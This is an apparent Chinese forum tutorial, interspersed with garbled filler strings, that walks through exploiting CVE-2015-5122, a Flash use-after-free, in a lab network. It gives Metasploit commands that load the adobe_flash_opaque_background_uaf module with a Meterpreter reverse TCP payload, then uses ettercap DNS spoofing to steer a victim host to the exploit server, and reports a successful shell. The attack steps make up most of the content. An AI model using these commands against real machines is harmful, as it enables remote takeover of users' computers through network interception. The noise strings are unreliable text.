cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

, O# _1 u! ?+ y4 d& X7 z! Y. m" n$ Z7 z

- m) v$ _. f. t0 O0 j   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

* i2 S9 T1 `% W

4 P0 t- n v! J9 _2 r* x search cve-2015-5122如图：

; s8 a' q i/ M7 h9 U6 y X' h

3 R! k: u. E6 _7 V# {7 V: T, w  

下面我们敲如下命令： ; t4 n0 m1 l! R: P: h

% j6 [7 ^3 H% T- b: o

use exploit/multi/browser/adobe_flash_opaque_background_uaf 4 T0 s% o F* K/ D. \" J6 K

2 Q2 \+ g: U0 T# q6 s

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.0.109

; {- E s* m; u% R* F9 O" @

set URIPATH /                        /*根目录*/ $ b& R1 |8 o' O: V2 G! ?3 H. j Y

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 ' H3 K0 @# _$ }. k0 s

. G- \) G: ]5 o) o, x K" P

然后show options如图：

 

% J2 b5 c8 e9 f! {

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
( b& s e9 p5 a$ W3 c & d: W/ |( i: K$ n0 B

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

$ e" W6 V( N" h

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf , ]4 q; }) y. p( {7 _; {/ I, B# g

  % p& E9 e7 y+ |0 w

Y9 }5 n9 s* O3 q" y

成功了，这时候我们断开ettercap，如图：

! z2 b; U- d$ m0 Y4 l8 `

8 f9 F2 B) `+ }" G/ j; S) J  

3 t5 {( @ `3 }

Screenshot如图：

+ Q; p5 V. I+ N; T! _' o

 

# P( u4 g5 G$ t0 B5 X' y

p: ?. Q2 `5 I- S( X% O